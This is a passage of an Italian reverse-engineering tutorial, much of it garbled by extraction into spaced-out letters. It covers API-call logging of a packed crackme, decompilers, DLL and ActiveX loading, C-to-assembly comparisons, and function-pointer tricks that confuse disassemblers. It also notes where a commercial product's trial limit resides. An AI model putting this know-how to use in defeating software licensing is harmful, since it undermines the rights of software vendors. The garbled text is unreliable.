f unzi one di Spy un p pi
speci al i zzat a per i pr ogr ammi
VB.
Pr opr i o per l a sua
car at t er i st i ca di aver e del l e
DLL che cost i t ui scono i l r un
t i me di VB spesso si i ncont r ano
di f f i col t a debuggar e pr ogr ammi
scr i t t i con quest o l i nguaggi o.
Smar t Check cost i t ui sce un val i do
ai ut o per quest i casi .


Decafe Pro
Java Decompiler for Windows 95/98/NT
Home page: http://decafe.hypermart.net
Email: [email protected]


Si t r at t a di un ot t i mo J ava Decompi l er i n ambi ent e Wi ndows ( al cont r ar i o di J AD
che per ambi ent e DOS) .
Sempl i cement e sel ezi onando un f i l e . cl ass vi ene decompi l at o nel suo . j ava
La ver si one che si t r ova i n gi r o non ha f unzi oni di sal vat aggi o, dr ag n dr op
at t i ve.
Per at t i var l e suf f i ci ent e col l egar si al suo si t o t r ami t e f unzi oni i nt er ne al
pr ogr amma.
















Sempr e nel l ot t i ca che a vol t e i l pr obl ema r el at i vo al f at t o di r eper i r e pi
i nf or mazi oni possi bi l i esi st i no i nf i ni t di ut i l i t y.
Una di quest e API S 32 che per met t e di anal i zzar e l e f unzi oni che un pr ogr amma
r i chi ama.
API S 32 per met t e di aggi unger e nel l a Wi ndows pr i nci pal e l e f unzi oni che si
desi der a t ener e sot t o cont r ol l o.
La scel t a vi ene f at t a sel ezi onando
da f i l e f or ni t i con i l pacchet t o i
qual i cont engono l e f unzi oni
speci f i che di ogni DLL ( ker nel 32,
mapi 32 ecc. )
Mandando i n esecuzi oni i l pr ogr amma
ppossi bi l e veder e qual i f unzi oni
sono st at e chi mat e e a qual e punt o.
Succesi vament e al l esecuzi one
possi bi l e anal i zzar e i l f i l e di LOG
che vi ene cr eat o dal pacchet t o.
Possono esser e r i cavat e f aci l ment e
i nf or mazi oni di f f i ci l ment e
i ndi vi duabi l i i n al t r o modo.
I l seguent e uno spezzone di f i l e
. l og r el at i vo ad un pr ogr amma
anal i zzat o con API S 32.




============= Created by APIS32 v. 2.4 =============

0048C427:GetModuleHandleA(LPSTR:00000000)
0048C42D:GetModuleHandleA = 400000
0048C445:GetModuleFileNameA(HANDLE:00400000,LPSTR:00590020:"t",DWORD:000000FF)
0048C44B:GetModuleFileNameA = 12
0048CE5F:CreateFileA(LPSTR:00590020:"E:\CIA\CRACKME.EXE",DWORD:80000000,DWORD:00
000003,LPDATA:00000000,DWORD:00000003,DWORD:00000080,HANDLE:00000000)
0048CE65:CreateFileA = C
0048D617:CreateFileA(LPSTR:006BBA90:"\\.\SHRINK33.LDR",DWORD:00000000,DWORD:0000
0000,LPDATA:00000000,DWORD:00000003,DWORD:04000000,HANDLE:00000000)
0048D61D:CreateFileA = FFFFFFFF
0048D6DB:GetWindowsDirectoryA(LPSTR:006BFCAC:"-__w_",DWORD:00000104)
0048D6E1:GetWindowsDirectoryA = A
0048CE5F:CreateFileA(LPSTR:006BFCAC:"C:\WINDOWS\000E121.TMP",DWORD:40000000,DWOR
D:00000000,LPDATA:00000000,DWORD:00000002,DWORD:00000080,HANDLE:00000000)
0048CE65:CreateFileA = 10
0048CEAF:WriteFile(HANDLE:00000010,LPDATA:006BBBA8,DWORD:00003220,LPDATA:006BBB7
4,LPDATA:00000000)
0048CEB5:WriteFile = 1
0048D617:CreateFileA(LPSTR:006BBA90:"\\.\000E121.TMP",DWORD:00000000,DWORD:00000
000,LPDATA:00000000,DWORD:00000003,DWORD:04000000,HANDLE:00000000)
0048D61D:CreateFileA = 10
0048D7D5:DeleteFileA(LPSTR:006BFCAC:"C:\WINDOWS\000E121.TMP")
0048D7DB:DeleteFileA = 1
0048C637:LoadLibraryA(LPSTR:004646DC:"kernel32.dll")
0048C63D:LoadLibraryA = BFF70000
0048C637:LoadLibraryA(LPSTR:0046495C:"user32.dll")
0048C63D:LoadLibraryA = BFF50000
0048C637:LoadLibraryA(LPSTR:00464996:"advapi32.dll")
0048C63D:LoadLibraryA = BFEA0000
0048C637:LoadLibraryA(LPSTR:004649D6:"oleaut32.dll")
0048C63D:LoadLibraryA = 65340000
0048C637:LoadLibraryA(LPSTR:00464A66:"kernel32.dll")
0048C63D:LoadLibraryA = BFF70000
0048C637:LoadLibraryA(LPSTR:00464AC8:"advapi32.dll")
0048C63D:LoadLibraryA = BFEA0000
0048C637:LoadLibraryA(LPSTR:00464B08:"kernel32.dll")
0048C63D:LoadLibraryA = BFF70000
0048C637:LoadLibraryA(LPSTR:00464ECA:"gdi32.dll")
0048C63D:LoadLibraryA = BFF20000
0048C637:LoadLibraryA(LPSTR:004653B2:"user32.dll")
0048C63D:LoadLibraryA = BFF50000
0048C637:LoadLibraryA(LPSTR:00465D66:"ole32.dll")
0048C63D:LoadLibraryA = 65F00000
0048C637:LoadLibraryA(LPSTR:00465D7E:"comctl32.dll")
0048C63D:LoadLibraryA = BFB70000

Ad esempi o l anal i si f at t a nel l esemmpi o pr ecedent e r el at i va ad un f i l e
pr ot et t o con shr i nk.
Dal f i l e di LOG si possono veder e al cune f unzi oni r i chi mat e dal pr ogr amma.

0048CE5F:CreateFileA(LPSTR:00590020:"E:\CIA\CRACKME.EXE",.
0048D617:CreateFileA(LPSTR:006BBA90:"\\.\SHRINK33.LDR",.
0048CE5F:CreateFileA(LPSTR:006BFCAC:"C:\WINDOWS\000E121.TMP",.
0048D7D5:DeleteFileA(LPSTR:006BFCAC:"C:\WINDOWS\000E121.TMP").

Debuggando i l f i l e si i ncont r ano l e sol i t e di f f i col t l egat e ai f i l e packat i i n
quant o bi sogner ebbe usar e l a t ecni ca dei dumper per r i usci r e a by- passar e i l
pr obl ema.
Da quest e i st r uzi oni sembr er ebbe che venga cr eat o qual che f i l e cont enent e l e
i st r uzi oni decodi f i cat e con l e qual i vi ene cr eat o i l f i l e da esegui r e.
Ol t r e a quest o dal l osser vazi one di t al i i nf or mazi oni pot r ebbe esser e
sempl i f i cat a l a pr obl emat i ca di i ndi vi duar e l e f unzi oni da ut i l i zzar e nei
br eakpoi nt .


TRA LIBRERIE E ACTIVEX


Esi st ono di ver si l i nguaggi che per met t ono l a pr ogr ammazi one i n ambi ent e Wi ndows
come ad esempi o Vi sual Basi c, Vi sual C++, Vi sual J ava ecc.
J ava i n ef f et t i un caso par t i col ar e i n quant o l a sua l ogi ca di f f er ent e da
quel l a degl i al t r i l i nguaggi .
Ogni l i nguaggi o possi ede i l suo compi l at or e od i nt er pr et e i l qual e dopo aver
esegui t o un anal i si si nt at t i ca e semant i ca t r aduce i l sor gent e or i gi nar i o i n uno
esegui bi l e dal l a macchi na.
J ava possi ede un t r adut t or e i n un byt e code che vi ene i nt er pr et at o da una
macchi na vi r t ual e J ava.
I pr ogr ammi J ava non subi scono una ver a e pr opr i a compi l azi one t ant o che ut i l i t y
come J AD. EXE r i escono a r i gener ar e i sor gent i par t endo dai f i l es . CLASS gener at i
dal compi l at or e.
I ndi pendent ement e dal l a si nt assi del l i nguaggi o mol t e f unzi oni vengono gest i t e
agganci andosi al si st ema del l e Api di Wi ndows.
Tut t i conoscer anno i l concet t o di l i br er i a.
I n pr at i ca dur ant e l a scr i t t ur a del sof t war e capi t a spesso di cr ear e f unzi oni
che possi edono l a car at t er i st i ca di pot er esser e ut i l i zzat e i n pi di una
ci r cost anza.
I n quest o caso i l i nguaggi di pr ogr ammazi one, medi ant e di ver se t ecnol ogi e,
per met t ono l a cr eazi one di quel l e che vengono def i ni t e con i l nome di l i br er i e.
Quest e possono esser e col l egat e ai nost r i pr ogr ammi medi ant e t ecni che di f f er ent i
come ad esempi o quel l e del l e l i br er i e st at i che che devono esser e col l egat e al
sof t war e i n f ase di l i nk.
La cr eazi one di un pr ogr amma esegui bi l e si suddi vi de i n di ver se f asi .
La pr i ma f ase quel l a i n cui i l compi l at or e esegue un anal i si si nt at t i ca e
semant i ca del pr ogr amma segnal andoci event ual i er r or i .
Passat a quest a f ase i l compi l at or e passa i l t est i mone al l i nker i l qual e svol ge
di ver se f unzi oni .
La pr i ma quel l a di cont r ol l ar e se l e f unzi oni che vengono chi amat e sono
pr esent i dent r o al sof t war e.
I n caso negat i vo i ni zi a a r i cer car l e dent r o al l e l i br er i e col l egat e al pr ogr amma
e se non vengono r eper i t e neppur e i n quel punt o al l or a vi ene segnal at o un er r or e
di Unr esol ved ext er nal e l a cr eazi one del modul o esegui bi l e vi ene i nt er r ot t a.
Come di cevo pr i ma possi bi l e speci f i car e che al cune f unzi oni sono pr esent i
dent r o ad una l i br er i a st at i ca l a qual e nor mal ment e possi ede come est ensi one
. LI B.
I l compi l at or e dopo l e sue passat e cr ea dei modul i OBJ i qual i sono modul i
bi nar i i n cui i l codi ce non st at o r i l ocat o ovver o che dent r o al qual e i
r i f er i ment i sono ancor a si mbol i ci .
Quando noi scr i vi amo un pr ogr amma cr eer emo i n modo di r et t o od i ndi r et t o dei
r i chi ami ad i ndi r i zzi o per megl i o di r e a punt i del pr ogr amma che vengono usat i
come r i f er i ment i .
Pot r ebbe esser e un esempi o :

if(valore == 1)
salta_al_punto X;

altre_istruzioni

:punto X

I n quest o caso f acci amo di r et t ament e r i f er i ment o al sal t o i n un punt o che nel
pr ogr amma i n esecuzi one sar ubi cat o ad un cer t o i ndi r i zzo.
I n l i nguaggi o assembl at i vo pot r ebbe esser e una cosa del gener e :

0030:1234 cmp ax, 1 ; Compara ilcontenuto del registro AX con 1
0030:1236 je 0030:1239 ; Se uguale salta a 0030:1239
0030:1238 mov bx, 2 ; Altre istr.
0030:1239 .... ; Indirizzo del salto

I n quest o caso, come di cevo pr i ma, sono i o che r i chi edo di r et t ament e di sal t ar e
ad un cer t o punt o che nel pr ogr amma i ndi co come un si mbol o.
I n quest o caso i o l o chi amo punt o X ma non ho l a pi pal l i da i dea na che
i ndi r i zzo di memor i a f i si co cor r i ponder al moment o del l esecuzi one.
Esi st ono cost r ut t i di l i nguaggi a pi al t o l i vel l o che vengono t r adot t i dal
compi l at or e con al l i nt er no dei r i f er i ment i ad i ndi r i zzi .
Un al t r o esempi o di r i f er i ment i a punt i pr eci si del pr ogr amma l o i l caso i n
cui ci si r i f er i sce a dei val or i che sono sal vat i i n qual che par t e del l a
memor i a.
I n l i nguaggi o C pot r ebbe esser e :

*m_Value = 123;

oppur e i n assembl er :

0030:0002 mov [0030:2345], 123

Nei modul i ogget t o i r i f er i ment i sono ancor a si mbol i ci e non assol ut i come
avvi ene dopo i l car i cament o del pr ogr amma esegui bi l e.
Ci sono cost r ut t i di cer t i l i nguaggi che per se st essi non possi edono l oops o
r i f er i ment i ci cl i ci ad i ndi r i zzi ma che i l compi l at or e t r adur r f acendogl i el i
aver e.
Pr endet e i l caso i n cui si abbi ano due vet t or i di 10 el ement i ci ascuno e che i l
pr obl ema si a quel l o di spost ar e i l cont enut o di ogni el ement o di uno nel suo
cor r i spet t i vo del l al t r o.
Per r i sol ver e i l pr obl ema sar ebbe necessar i o un l oop del t i po:

int array_uno[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0 };
int array_due[10];
int indice;

for(indice=0;indice!=10;indice++)
array_due[indice] = array_uno[indice];

I n l i nguaggi o assembl at i vo ci sar anno cont r ol l i medi ant e cmp o si mi l i a e si
esegui r anno j ump ( sal t i ) a cer t i i ndi r i zzi a seconda dei casi .
Esi st ono cost r ut t i che i n l i nguaggi , come ad esempi o i l l i nguaggi o C di pr i ma,
non most r ano car at t er i st i che di al gor i t mi i n cui l e i st r uzi oni non si ano al t r o
che sempl i ci assegnazi oni ma che i l compi l at or e t r adur r a modo del l esempi o di
pr i ma.
Quest o esempi o l o avevo r i por t at o i ni zi al ment e ma l o vogl i o r i por t ar e per f ar e
una compar azi one.
Pr endi amo i l pr ogr amma f at t o con i l ci cl o f or .

int array_uno[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0 };
int array_due[10];

void copy_array(void)
{
int i;
for(i=0;i!=10;i++)
array_due[i] = array_uno[i];
}

Or a di amo i l comando che cr ea i l sor gent e assembl er .

Cl /c /Fatest.asm test.c

Et voi l ! !


TITLE test2.c
.386P
include listing.inc
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
_DATA ENDS
CONST SEGMENT DWORD USE32 PUBLIC 'CONST'
CONST ENDS
_BSS SEGMENT DWORD USE32 PUBLIC 'BSS'
_BSS ENDS
_TLS SEGMENT DWORD USE32 PUBLIC 'TLS'
_TLS ENDS
FLAT GROUP _DATA, CONST, _BSS
ASSUME CS: FLAT, DS: FLAT, SS: FLAT
endif
PUBLIC _array_uno
_DATA SEGMENT
COMM _array_due:DWORD:0aH
_array_uno DD 01H
DD 02H
DD 03H
DD 04H
DD 05H
DD 06H
DD 07H
DD 08H
DD 09H
DD 00H
_DATA ENDS
PUBLIC _copy_array
_TEXT SEGMENT
_i$ = -4
_copy_array PROC NEAR
; File test2.c
; Line 5
push ebp
mov ebp, esp
push ecx
; Line 7
mov DWORD PTR _i$[ebp], 0
jmp SHORT $L28
$L29:
mov eax, DWORD PTR _i$[ebp]
add eax, 1
mov DWORD PTR _i$[ebp], eax
$L28:
cmp DWORD PTR _i$[ebp], 10 ; 0000000aH
je SHORT $L30
; Line 8
mov ecx, DWORD PTR _i$[ebp]
mov edx, DWORD PTR _i$[ebp]
mov eax, DWORD PTR _array_uno[edx*4]
mov DWORD PTR _array_due[ecx*4], eax
jmp SHORT $L29
$L30:
; Line 9
mov esp, ebp
pop ebp
ret 0
_copy_array ENDP
_TEXT ENDS
END

Or a pr endi amo i l sor gent e i n cui l a copi a avvi ene con l ar i t met i ca dei
punt at or i .

struct X {
int a[10];
};

int array_uno[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0 };
int array_due[10];

void copy_array(void)
{
(*((struct X *)&array_due[0])) = (*((struct X *)&array_uno[0]));
}

St esso comando di pr i ma del compi l at or e ed ecco i l sor gent e :

TITLE text.c
.386P
include listing.inc
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
_DATA ENDS
CONST SEGMENT DWORD USE32 PUBLIC 'CONST'
CONST ENDS
_BSS SEGMENT DWORD USE32 PUBLIC 'BSS'
_BSS ENDS
_TLS SEGMENT DWORD USE32 PUBLIC 'TLS'
_TLS ENDS
FLAT GROUP _DATA, CONST, _BSS
ASSUME CS: FLAT, DS: FLAT, SS: FLAT
endif
PUBLIC _array_uno
_DATA SEGMENT
COMM _array_due:DWORD:0aH
_array_uno DD 01H
DD 02H
DD 03H
DD 04H
DD 05H
DD 06H
DD 07H
DD 08H
DD 09H
DD 00H
_DATA ENDS
PUBLIC _copy_array
_TEXT SEGMENT
_copy_array PROC NEAR
; File text.c
; Line 9
push ebp
mov ebp, esp
push esi
push edi
; Line 10
mov ecx, 10 ; 0000000aH
mov esi, OFFSET FLAT:_array_uno
mov edi, OFFSET FLAT:_array_due
rep movsd
; Line 11
pop edi
pop esi
pop ebp
ret 0
_copy_array ENDP
_TEXT ENDS
END

Gi a l i vel l o di l unghezza i l secondo r i sual t a esser e di 927 byt es cont r o i 1174
del pr i mo.
Or a met t i amo i un compar azi one l a per t e del l al gor i t mo el i mi nando l a par t e del l e
di chi ar azi oni dei segment i e dei dat i .


_copy_array PROC NEAR
push ebp
mov ebp, esp
push esi
push edi
mov ecx, 10
mov esi, OFFSET FLAT:_array_uno
mov edi, OFFSET FLAT:_array_due
rep movsd
pop edi
pop esi
pop ebp
ret 0
_copy_array ENDP













_copy_array PROC NEAR
push ebp
mov ebp, esp
push ecx
mov DWORD PTR _i$[ebp], 0
jmp SHORT $L28
$L29:
mov eax, DWORD PTR _i$[ebp]
add eax, 1
mov DWORD PTR _i$[ebp], eax
$L28:
cmp DWORD PTR _i$[ebp], 10
je SHORT $L30
mov ecx, DWORD PTR _i$[ebp]
mov edx, DWORD PTR _i$[ebp]
mov eax, DWORD PTR
_array_uno[edx*4]
mov DWORD PTR
_array_due[ecx*4], eax
jmp SHORT $L29
$L30:
mov esp, ebp
pop ebp
ret 0
_copy_array ENDP


CON ARITMETICA PUNTATORI CON CICLO FOR

Che ne di t e ! ? Vi st o che i punt at or i poi al l a f i ne non sono neppur e mal e ?
Pr endi amo sempr e ad esempi o i l C i l qual e possi ede un ar i t met i ca degl i i ndi r i zzi
paur osa.
I l i nguaggi a pi al t o l i vel l o t r at t ano l e var i abi l i i n modi pi t r aspar ent i
agl i ut ent i .
I n Basi c ad esempi o se di chi ar o una var i abi l e che cont er r un val or e non mi
dovr pr eoccupar e di dove quest a ubi cat a i n memor i a.
I l C spesso l o pr et ende e spesso di quest o ci si pu avvant aggi ar e per cr ear e
cost r ut t i pot ent i .
Pr ovat e a cr ear e una f unzi one che esegua l a copi a degl i el ement i di due ar r ay,
come nel caso pr ecedent e, usando sol o un assegnazi one.
Segui t e i l r agi onament o :

struct X { int a[10]; }

di chi ar a i n C l a f or mazi one di una f at i di ca st r ut t ur a X che cont i ene un sol o
ar r ay di 10 el ement i ( at t enzi one che non l o al l oca ma che ne def i ni sce sol o l e
car at t er i st i che) .
Successi vament e ho i mi ei due ar r ays:

int array_uno[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0 };
int array_due[10];

Se a quest o punt o avessi :

&array_due[0]

sar ebbe come di r e l i ndi r i zzo di un i nt er o r el at i vo al pr i mo el ement o di
ar r ay_due.
Se t r amut assi t ut t o i n :

*(&array_due[0])

avei i l cont enut o del l i ndi r i zzo di un i nt er o r el at i vo al pr i mo el ement o di
ar r ay_due ovver o l ogget t o punt at o dal l i ndi r i zzo di ar r ay_uno[ 0] .
Ma se a quest o punt o esegui ssi i l cast ( f or zat ur a) e convi ncessi i l compi l at or e
che l i ndi r i zzo &ar r ay_due[ 0] quel l o di una st r ut t ur a X e non di un i nt er o,
con :

(*((struct X *)&array_due[0]))

sar ebbe come di r e i l cont enut o del l i ndi r i zzo di una st r ut t ur a X.
A quest o punt o f acendo

(*((struct X *)&array_due[0])) = (*((struct X *)&array_uno[0]));

di r ei pr endi i l cont enut o al l i ndi r i zzo del l a st r ut t ur a X ar r ay_uno e met t i l o
come cont enut o al l i ndi r i zzo del l a st r ut t ur a X ar r ay_due.
Ed ecco f at t o i l passaggi o dei di eci val or i di un ar r ay dent r o ad un al t r o senza
passar e dal ci cl o f or .
Ma quest o sol o i ndi r et t ament e i n quant o i l compi l at or e cr eer una st r ut t ur a i n
assembl er si mi l e a quel l a che veni va gener at a con i l codi ce i n C vi st o pr i ma,
quel l o del f or ( come abbi amo vi st o pr i ma neppur e t ant o) .
Vedr emo pi avant i i n modo pi appr of ondi t o i l di scor so degl i i ndi r i zzi .
Le f unzi oni dent r o al l e l i br er i e st at i che ( . LI B) sono r acchi use come modul i
. OBJ .
I nf at t i i l . LI B vi ene cr eat o con l ut i l i t y LI B. EXE che pr ende i l . OBJ e l o
accoda i n una f i l e . LI B segando dove si t r ova i n una t abel l a convenzi onal e.
Vol endo pot r emmo t ener e l e nost r e f unzi oni di l i br er i a come modul i . OBJ e
pot r emmo l i nkar l i al nost r o pr ogr amma i n f ase di LI NK.
Un al t r o t i po di l i br er i a quel l a di nami ca l a qual e vi ene i ncl usa nel pr ogr amma
i n f ase di esecuzi one.
Quest e sono quel l e che possi edono come est ensi one . DLL.
Le DLL che cont engono l e f unzi oni r i chi amat e nel nost r o pr ogr amma devono esser e
f or ni t e con i l pr ogr amma esegui bi l e, i n caso cont r ar i o ver r segnal at o un
er r or e.
Negl i ul t i mi anni sono st at e svi l uppat e al t r e t ecni che che per met t ono i l
r i ut i l i zzo bi nar i o del codi ce e pr eci sament e l e met odol ogi e l egat e al l e OLE e a
t ut t i i suoi der i vat i ( met odol ogi e COM, DCOM ecc. )
I n ogni caso dal punt o di vi st a concet t ual e i l pr ogr amma cambi a poco i n quant o
l a di f f er enza i n pr at i ca sol o quel l a di come deve esser e r eper i t a una cer t a
f unzi one r i chi amat a nel sof t war e.
Quest i modul i al moment o del l esecuzi one dovr anno esser e pr esent i i n memor i a.
Nel caso di l i br er i e st at i che quest e vi vono col l egat e al pr ogr amma esegui bi l e
per cui vengono car i cat e al moment o del car i cament o di quest ul t i mo.
Nel caso di DLL quest e dovr anno esser e pr esent i sul si st ema i n qual che posi zi one
dove Wi ndows r i esce a t r ovar l e ( sot t o \ wi dows, sot t o \ wi ndows\ syst em o sot t o
pat ch) .
I n quest o caso i l sof t war e dovr esegui r e i l car i cament o del l a l i br er i a medi ant e
una f unzi one appar t enent e al l e API di Wi ndows e pr eci sament e con LoadLi br ar y.
Le f unzi oni i nser i t e nel l a DLL l et t a ver r anno car i cat e i n memor i a dove i l
sof t war e r i usci r a t r ovar l e e ci r i mar r anno si no ad una chi amat a ad un al t r a
f unzi one Wi ndows ovver o Fr eeLi br ar y l a qual e l i ber er l a memor i a occupat a.
I cont r ol l i Act i veX, ul t i ma evol uzi one by Mi cr osof t dei cont r ol l i Ol e,
possi edono l a vi si one mol t o pi vi ci na ad ogget t i con i ncapsul at i al suo i nt er no
met odi e pr opr i et .
Nor mal ment e quest o t i po di cont r ol l i vengono i ngl obat i al l i nt er no di di al og o
di f or ms dent r o al l e qual i svol gono i l l or o ci cl o di vi t a.
Supponi amo che ci t r ovi amo di nanzi ad un cont r ol l o Act i veX dest i nat o
al l el abor azi one del l e i mmagi ni .
Medi ant e l e apposi t e opzi oni del l I DE ut i l i zzat o per l a st esur a del pr ogr amma
i nser i r emo i l cont r ol l o i n una di al og ed a quest o gl i assegner emo un
i dent i f i cat or e che ci per met t er di veder l o come un ogget t o al l i nt er no del
codi ce.
Gener al ment e l e pr opr i et di un cont r ol l o Act i veX possono esser e set t at e t r ami t e
un apposi t a mascher a di spost a dal cont r ol l o st esso.
Nel l e seguent i i mmagi ni vi ene most r at o l i nser i ment o di un cont r ol l o Act i veX
dent r o ad un pr ogr amma Vi sual C++.
I cont r ol l i devono esser e r egi st r at i
nel si st ema Wi ndows, pr i ma di esser e
ut i l i zzat i , medi ant e l ut i l i t y
r egsvr 32. exe.
Spesso quest o t i po di cont r ol l i
di spongono di r out i nes i nt er ne per
l a ser i al i zzazi one al f i ne di
pr ot egger l e dal l a di vul gazi one non
aut or i zzat a.
I l r i chi amo dei met odi o i l
set t aggi o dei par amet r i avvi ene con
l a si nt assi cl assi ca del met odo ad
ogget t i .
Supponi amo che al moment o
del l i nser i ment o del cont r ol l o l o
chi ami amo m_I maggi ne e che l o st esso
possi eda un met odo chi amat o
Set Capt i on( ) .

La si nt assi sar ebbe :

m_Immagine.SetCaption(Caption text);

I cont r ol l i Act i veX sono uno dei punt i evol ut i vi del l a met odol ogi a OLE cr eat a
dal l a Mi cr osof t passat a at t r aver so, da pr i ma, l e DLL per poi gi unger e ai VBX ed
ar r i var e agl i OCX.
Ri assumendo possi amo di r e che l e f unzi oni of f er t e da l i br er i e possono esser e
cont enut e i n LI B st at i che l e qual i vengono col l egat e al pr ogr amma i n f ase di
l i nk.
Le DLL possono esser e car i cat e dal pr ogr amma t r ami t e f unzi oni i n modo di nami co
al moment o del car i cament o del pr ogr amma.
Gl i Act i veX ver r anno car i cat i aut omat i cament e.
La vi si one di come e quando vengono car i cat e l e f unzi oni est er ne pr esent i i n
quest i modul i i mpor t ant e nel l i st ant e i n cui si esegue i l debug di un
pr ogr amma i n quant o spesso i l t r ace esce da quest o per ent r ar e dent r o ad una di
quest e l i br er i e.
Per quest o mot i vo al cuni di sassembl at or i possi edono dei f l ags che possi bi l e
set t ar e per f ar e i n modo
che i l debugger st esso
i ndi chi l ent r at a e
l usci t a da uno di quest i
modul i .
Nel l i mmagi ne a f i anco
most r at o WDASM 8. 9 e i n
basso possi bi l e veder e i
var i f l ags che i ndi cano se
deve esser e esegui t o un
br eak ent r ando ed uscendo
da una DLL ecc.
Vedr emo pi avant i i l pr obl ema dal punt o di vi st a pr at i co.
Spesso del l e f unzi oni di pr ot ezi one dei pr ogr ammi sono appunt o i nser i t e dent r o a
del l e DLL e non dent r o al codi ce pr i nci pal e del f i l e esegui bi l e.
Ad esempi o nei pr ogr ammi come Vi sual J ++ del l a Mi cr osof t l a l i mi t azi one a 60
gi or ni del di most r at i vo si t uat o dent r o al l a DLL msenv. dl l .
Sempr e l egat a al l ar i t met i ca dei punt at or i possi bi l e t r ovar e al cuni sut t er f ugi
adat t i a f ar per der e l a t est a.
I l seguent e un met odo che i o st esso usavo di ver si anni f .
I n pr at i ca un pr ogr amma compost o da mol t e f unzi oni l e qual i vengono r i chi amat e
dur ant e l esecuzi one del pr ogr amma.
Facendo l esempi o i n Li nguaggi o C pot r emmo aver e :

void function_a(void)
{
...
}

void function_b(void)
{
...
}

...
function_a();
function_b();
...

Sar ebbe possi bi l e f ar e un bel l a cosa sf r ut t ando gl i i ndi r i zzi .
I n pr at i ca si di chi ar a un ar r ay di punt at or i a f unzi oni ai qual i si assegnano
gl i i ndi r i zzi del l e f unzi oni .

void func_a(void);
void func_b(void);

void (*func[])() = { func_a, func_b };

void func_a(void)
{
printf("Uno");
}

void func_b(void)
{
printf("Due");
}
void main(void)
{
(*func[0])();
(*func[1])();
}

Usando l i ndi r i zzament o i n quest o modo capi r et e che f aci l e usar e cal col i su
st r i nghe di codi ci o di copyr i ght come i ndi ci per i ndi r i zzar e l e f unzi oni , per
cui i di sassembl at or i , che r i cost r ui scono l e t abel l e da cui possi bi l e capi r e
qual i sono l e f unzi oni r i chi amat e, vanno i n t i l t ( non vi most r ano i nomi del l e
f unzi oni ) .

GERARCHIA DELLE FUNZIONI

Abbi amo det t o che mol t e f unzi oni usat e dai l i nguaggi convenzi onal i sono
r esi dent i dent r o a quel l e chi amat e l i br er i e.
Ho det t o r el at i ve ai l i nguaggi convenzi onal i i n modo er r at o vi st o che nessuno ci
vi et a di cr ear ci anche noi l e nost r e l i br er i e per sonal i .
Comunque i n ogni caso senza suppor t ar ci su quest a possi bi l i t gener al ment e l e
f unzi oni che r i si edono i n l i br er i e sono quel l e l egat e ai var i RunTi me.
Nel capi t ol o l egat o agl i i nt er r upt s a al l assembl er ho det t o che i l si st ema
el et t r oni co del si st ema pu esser e vi st o come un cer t o numer o di pr ocessor i
dedi cat i al l e var i e f unzi oni che of f r ono del l e por t e di I / O per per met t er e l a
l or o pr ogr ammazi one.
Quest o l i vel l o i n gener e suf f i ci ent ement e basso t ant o da r ender e compl essa l a
pr oget t azi one l ogi ca e l a pr ogr ammazi one dei sof t war e.
Per r i sol ver e quest o pr obl ema i si st emi st i che hanno pr odot t o i PC hanno f or ni t o
un pr i mo l i vel l o sof t war e gest i t o t r ami t e
i nt er r upt s i qual i f or ni vano del l e
f unzi onal i t di base per l a pr ogr ammazi one
di t al i per i f er i che.
Quest o comunque, i l l i vel l o BI OS, ancor a
suf f i ci ent ement e basso t ant o che l a
Mi cr osof t ha al zat o t al e l i vel l o f or nendo
un si st ema oper at i vo i l qual e sf r ut t ando
t al i ser vi zi ne of f r i va degl i al t r i pi
compl essi ed evol ut i .
Lo st esso di scor so l o possi amo f ar e per
quant o r i guar da l e l i br er i e.
Wi ndows i n cer t e DLL ( user 32. dl l ,
ker nel 32. dl l ecc. ) of f r e un cer t o numer o di
f unzi oni , abbast anza el evat o, che possono
esser e ut i l i zzat e per l a cr eazi one di
pr ogr ammi .
Quest e f unzi oni non sono l egat e ad
al gor i t mi gener al i ma sono dest i nat e
al l i nt er azi one con Wi ndows.
Fanno par t e di quest e f unzi oni come :
Get Dl gI t em, Get Wi ndowText ecc.
Anche i l i nguaggi che ver so l ut ent e
ut i l i zzano al t r e nomencl at ur e per svol ger e
f unzi oni si mi l i spesso si agganci ano al l e
l i br er i e di Wi ndows per l esecuzi one di
cer t e f unzi onal i t .
gi st at o det t o i n al t r o l uogo che
esi st ono due met odi per col l egar si ad un
DLL e pr eci sament e quel l i che seguono.
I l pr i mo quel l o di esegui r e i l l i nk di
una l i br er i a gener al ment e f or ni t a con l a
DLL l a qual e pensa ad esegui r e
l i nt er f acci ament o del nost r o pr ogr amma con
quest ul t i ma.
I l secondo met odo quel l o di esegui r e l a l et t ur a di nami cament e del l a DDL con
f unzi oni t i po LoadLi br ar y.
Una f unzi one at t i va sot t o Wi ndows pu esser e vi st a come i n i st anza per cui dopo
l a cr eazi one del l i nk di nami co possi bi l e cr ear e i st anze di f unzi oni pr esent i
nel l e DLL.
I n ogni caso vedr et e che mol t i ssi me, se non t ut t e, DLL a sua vol t a l eggono
user 32. dl l ecc. t ant o da pot er veder e i l t ut t o come un al ber o ger ar chi co di
col l egament i .
Pot et e veder e qui a f i anco che dal l a DDL VBRUN300 par t ono i l i nk con l e DLL
USER, KERNEL ecc.
Al t r e DLL che non sono al pr i mo l i vel l o al l a f i ne ut i l i zzano f unzi oni cont enut e
i n ker nel 32. dl l e nel l e al t r e di si st ema.
Spesso l i br er i e ut i l i zzat e da pi pr ogr ammi r i si edono i n di r ect or y condi vi se o
dent r o a wi ndows\ syst em.
DLL ut i l i zzat e sol t ant o da si ngol i pr ogr ammi vengono i n gener e posi zi onat e nel l e
st esse di r ect or y dei pr ogr ammi .
La r i cer ca par t e dal l a di r ect or y i n cui si posi zi onat i per segui r e quel l e
i ncl use nel l a speci f i ca PATH del Dos per gi unger e i n wi ndows e wi ndows\ syst em.
Le l i br er i e st at i che i nvece vengono col l egat e i n f ase di l i nk al pr ogr amma e non
sono r esi dent i su f i l e est er ni .
Quest o secondo met odo vi ene ut i l i zzat o i n par t i col ar modo con i vecchi pr ogr ammi
DOS anche se di f at t o anche i n si st emi come nel l e ul t i me ver si oni di Vi sual C++
possi bi l e col l egar e st at i cament e l e l i br er i e MFC.
